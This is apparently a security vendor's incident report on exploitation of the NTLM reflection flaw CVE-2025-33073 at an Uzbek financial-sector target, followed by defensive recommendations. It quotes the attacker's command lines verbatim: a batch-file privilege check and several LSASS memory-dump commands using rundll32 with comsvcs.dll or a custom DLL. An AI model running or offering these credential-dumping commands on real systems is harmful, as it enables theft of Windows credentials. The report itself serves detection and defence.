Suspicious activity in Uzbekistan involving CVE-2025-33073
We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.
We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:
The hostname localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, a manipulated hostname used to trick Windows into treating the authentication as local
The presence of the IPC$ resource share, common in NTLM relay/reflection attacks, because it allows an attacker to initiate authentication and then perform actions reusing that authenticated session
The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:
%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Persistence was then established by creating a suspicious service entry in the registry under:
With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:
Using rundll32.exe:
C:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full
The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).
Loading a temporary DLL (BDjnNmiX.dll):
C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full
The command tries to dump the LSASS memory again, but this time using a custom DLL.
Running a PowerShell script (Base64-encoded):
The script leverages MiniDumpWriteDump via reflection. It uses the Out-Minidump function that writes a process dump with all process memory to disk, similar to running procdump.exe.
Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.
Protection and recommendations
Disable/Limit NTLM
As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.
Implement message signing
NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.
Enable Extended Protection for Authentication (EPA)
EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.
Monitor and audit NTLM traffic and authentication logs
Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.
Conclusions
In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.
The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.
Login
